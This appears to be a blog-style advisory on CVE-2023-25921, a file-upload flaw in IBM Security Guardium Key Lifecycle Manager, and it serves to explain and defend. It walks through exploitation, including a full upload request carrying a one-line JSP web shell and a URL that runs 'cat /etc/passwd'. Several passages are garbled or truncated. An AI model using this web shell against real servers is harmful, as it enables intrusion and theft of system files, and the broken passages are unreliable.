CVE-2023-25921 - How IBM Security Guardium Key Lifecycle Manager Exposed Itself to Dangerous File Uploads
In early 2023, security researchers uncovered a serious vulnerability in IBM Security Guardium Key Lifecycle Manager—commonly referred to as SKLM—from version 3. up to 4.1.1. This flaw, now tracked as CVE-2023-25921, allows attackers to upload or transfer files of "dangerous types" into the system, leading to potential code execution, data theft, or full compromise of the application environment.
What stands out in this story is how a seemingly simple feature—file upload—can open a massive security hole when not properly locked down.
What’s the Vulnerability?
CVE-2023-25921 centers around insufficient validation and sanitization of files uploaded through the SKLM web interface or API endpoints. Normally, a system meant for managing cryptographic keys and certificates should never allow direct upload of scripts or executable files. But researchers found that SKLM failed to properly restrict the types of files users could upload.
This means someone with access (even a low-privilege account in some cases) could upload files like .jsp scripts or other server-side code, which could then be automatically executed in the server's environment.
IBM’s official advisory:
- IBM Security Bulletin: IBM Security Guardium Key Lifecycle Manager is vulnerable to improper unrestricted upload of file with dangerous type (CVE-2023-25921)
Why Is This So Dangerous?
Guardium Key Lifecycle Manager handles encryption keys for databases, storage, and sometimes whole fleets of servers. An attacker that gains a foothold on this system can potentially gain access to:
The underlying OS if code execution is achieved
In essence, exploiting this flaw is almost like getting the master key to the castle.
Attacker authenticates (often as a low-privileged user).
2. Submits a crafted upload request to SKLM’s file upload endpoint, such as /sklm/upload.
3. The attacker uploads a malicious file, for example, a Java Server Page (evil.jsp), containing code to run system commands.
4. Due to improper file type validation, the server accepts the dangerous file and stores it in a web-accessible location.
5. The attacker accesses https://sklm-server/uploads/evil.jsp and triggers the malicious code.
Illustration
POST /sklm/upload HTTP/1.1
Host: sklm.example.com
Authorization: Basic ... (credentials)
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123
------WebKitFormBoundary123
Content-Disposition: form-data; name="file"; filename="exploit.jsp"
Content-Type: application/octet-stream
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
------WebKitFormBoundary123--
Now the JSP script is on the server. To execute code, the attacker browses to:
https://sklm.example.com/uploads/exploit.jsp?cmd=cat+/etc/passwd
This would dump the password file, or the attacker could launch more sophisticated payloads.
Fixed Versions:
Upgrade to SKLM 4.1.1 iFix 1 or latest supported versions.
Isolate SKLM from public networks
Patch Now! If your organization uses SKLM 3.x or 4.x, make sure to update to the latest fixes.
References
- IBM CVE-2023-25921 Official Security Bulletin
- IBM X-Force Exchange: CVE-2023-25921
- NVD - CVE-2023-25921
Takeaway
Even mission-critical security tools can have shockingly basic flaws. CVE-2023-25921 is a reminder:
Timeline
Published on: 02/29/2024 01:38:24 UTC
Last modified on: 02/29/2024 13:49:47 UTC